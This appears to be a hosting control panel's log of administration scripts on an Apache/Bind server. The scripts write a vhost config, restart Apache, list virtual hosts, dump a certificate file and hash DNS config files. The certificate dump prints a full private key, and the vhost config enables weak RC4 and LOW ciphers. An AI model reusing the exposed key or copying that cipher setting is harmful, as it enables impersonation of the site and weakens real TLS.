    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-03-10 06:02:26: 

PUT: /tmp/pkp288304

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn1_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf= 1'
fi


2026-03-10 06:02:26: 

chmod 755 /tmp/pkp288304; /tmp/pkp288304; rm /tmp/pkp288304

2026-03-10 06:02:26: 




2026-03-10 06:02:26: 

PUT: /tmp/pkp885060

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-10 06:02:26: 

chmod 755 /tmp/pkp885060; /tmp/pkp885060; rm /tmp/pkp885060

2026-03-10 06:02:26: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-10 06:02:26: Establishing a connection
2026-03-10 06:02:26: 

PUT: /tmp/pkp400501

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-10 06:02:26: 

chmod 755 /tmp/pkp400501; /tmp/pkp400501; rm /tmp/pkp400501

2026-03-10 06:02:26: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-10 06:02:26: 

PUT: /tmp/pkp401654

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-10 06:02:26: 

chmod 755 /tmp/pkp401654; /tmp/pkp401654; rm /tmp/pkp401654

2026-03-10 06:02:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf	1656

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-03-10 06:02:26: 

PUT: /tmp/pkp598700

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-10 06:02:27: 

chmod 755 /tmp/pkp598700; /tmp/pkp598700; rm /tmp/pkp598700

2026-03-10 06:02:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt	5372
9c:c6:3d:5a:71:06:85:50:9c:27:b0:a7:6f:92:ef:34

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBmXejPCtIp3Kwuq5c+rqoli6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzEwMDUwMzUzWhcNMjYwNjA4MDUwMzUyWjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDO027+ycgOrShBo4fbNOSccmGJfsYngXEhvDRYexoXBqRDusxg
UxMW0q9jgUKkiUpiskpf/9+eQUUPDzyIlhj2GsMcRJV5JKeWIqA6O/pwlCyZymzB
KMLoBgFh1kfIZLDaqre9j14xAXdG0gOPgMP9NPDHcsFNff75sYr+nNknLB2Q/RxM
7H7SiNI8svam7tbolEIH3vupLwdXNPwt2KtOk6+/TOsRfqMKMDRVcdJMVDhfliWE
niXoNR9d/EBAeI69NVOGU0cTjifH8IfoIqd6Njwsx+X0Sp/kDuMaEMNzqYXerLC9
VEA4Zr5m8dE5xu6O3H+uuQAOGs+PkUBv0YHDAgMBAAGjggImMIICIjAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUZQxUZODmFJTlJNCMUsscZXNbvFwwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG4xLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy81OS5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6
APgAfQDjI43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZzWVt+kAAgA
AAUANRgX9QQDAEYwRAIgcb+Vkjv7G5mcZUhUr6mFZJIx+4b70o+lz21yeM82daIC
IGeZxBgiGpyWrtXRQi+YCMlN7hjoAsxwrpWEhtMDaX6bAHcAZBHEbKQS7KeJHKIC
LgC8q08oB9QeNSer6v7VA8l9zfAAAAGc1lbm5wAABAMASDBGAiEAn0lXIwkLhVwJ
VMeYINNTLPFjBgbhvS5f9wrZM5aicmICIQDf1ZzP3SZL9U7WzM8ew9yEJN0tzk8G
KVH4nrmG6zICnjANBgkqhkiG9w0BAQsFAAOCAQEAcUUHceoTqbXRzLSgyCWh7Rw6
+Coed1f26wkp3Gox/ZRkNjuTo28+JfLbzH/jNjvZxLWxx/XxyWGz29qIKjCo6oky
idMHkn2GYj5kWmlVafBJzgVMmNRcutbliAjgpV6F3weFr+y9T9blIs61x7KzWHBp
/19qVje1oRROuTW+AuNoKDpSWYoV4TDbp80t1qxWC98BpDGgf2emtIGCuRw8KAqO
NAOOmyJ0/+9HNXP4IW/mloFv/qyvTIVmXQ4PbhIJ7R8GZ/OCNTG6DSlxDbhClu17
t17uOMnOlvf6hNlXQ5BTxYgkthGP/nCyEYjWhZmfeBHy8Ro14m6Eg0bfIcHGRA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDO027+ycgOrShB
o4fbNOSccmGJfsYngXEhvDRYexoXBqRDusxgUxMW0q9jgUKkiUpiskpf/9+eQUUP
DzyIlhj2GsMcRJV5JKeWIqA6O/pwlCyZymzBKMLoBgFh1kfIZLDaqre9j14xAXdG
0gOPgMP9NPDHcsFNff75sYr+nNknLB2Q/RxM7H7SiNI8svam7tbolEIH3vupLwdX
NPwt2KtOk6+/TOsRfqMKMDRVcdJMVDhfliWEniXoNR9d/EBAeI69NVOGU0cTjifH
8IfoIqd6Njwsx+X0Sp/kDuMaEMNzqYXerLC9VEA4Zr5m8dE5xu6O3H+uuQAOGs+P
kUBv0YHDAgMBAAECggEACODzJKu9RqjQtjI/lJdEGFWhfq/BilQ4auFTqFfu7WQf
zLe9KrlspvZebyAcBnvNhK69gKEd+wMESu3PHguLgMa/VeK5cMNN3aUY42Cykv8M
nYGFT6ytr7Y3Fiy6IieO0nEXuC+3NG714Higv7O6AvZ92G7cG4G4K2uF8wFniEXj
Us/iTbbSB5U97uZDs4SjKjwlR0n5rk60vRAyY1gUJoVs56k9gUjuCJSpBR9ul397
eESIu0ZDSzQDcI5dMHbeP6c6ExUruFZIdu4uau7mj4SkWTTMm/d+i5NdODQbZZTa
HETTOqlUS3Ip6P692SuaC/msvI6RKfaWcJhHbGevyQKBgQD6QZEc9UDfrfiHMI3m
cL91xvHS+4p//rYo3prNmqd1QveEleg1gSsqL8bnI47all4D/LlKZhYmrRGdUGcO
fursiWC8kvsje7u3FKI0TLjCgWFX1BtwD7kfAKQvnrEPIUOad5j83SnEHKt09xnl
mUkalXB7SnO+p4ZlTIm8hQyxtQKBgQDTkq7r42gE1h7/BNjrlFUGWZ8hJ6jRdwH0
foXQISdSFuU3KjeiY6Uw+gzaPFiX1CDY0LWQr6XF2EF+1a0haT+RxrkLI4e1wStE
fqc2n9yOLlqADKUEEEWkNJvtxmnXSqQdM4aw2Mf2IeCdwT283U6HO5lpnAo1SWlp
VdX+xK/wlwKBgQDp9WRJ00ssEoO3N4BhwGRuImiv2zP3R1RbTwkgUIZfjRTD4jWt
161YCkSEkGycFFmelqVPVbM9wy0liiZeme7c5e4HPc4FtUaf+W1PQa61QKmVp5lj
IX/q6PmV/2D+iRWfklH3jHfgfQEaH20Zhj2e2bjHuqoMwqdVisF1+lkMxQKBgDJC
FetTCdKcSqCpth3ADrKDd5mYojGf44cAxyi5t214otqH3M9mfEc2Hvd4flMSwPrA
GWFVWDu3M1e9ynK1XbRzUGGk/wfd6zlKHM6NCwd7W2QvnMNqWiC3npLNHzdVM8b8
BnLcDCQbyA+xZ8kFiTH2pmq/9mzSE4hCK6NpdaHhAoGBALIm13K6xffaRboAcc0N
NgzofSRT4UB46U2LgLpfONYIHVTyyiW/9D5lKIQRb7x5cNsyWBmeiyWY1LYlytCt
h744UuO/mORqa9ExYmeNavd13EdzNvyAuc3U1K6hsTm+ZZtESWlfL+7zjQELb31z
54+M1BfYwjal5Dd5zy8p2fue
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-11 18:33:30: Establishing a connection
2026-03-11 18:33:38: Establishing a connection
2026-03-11 18:33:38: 

PUT: /tmp/pkp606499

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-11 18:33:39: 

runuser -l bind -s /bin/bash -c '/tmp/pkp606499; rm /tmp/pkp606499'

2026-03-11 18:33:39: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
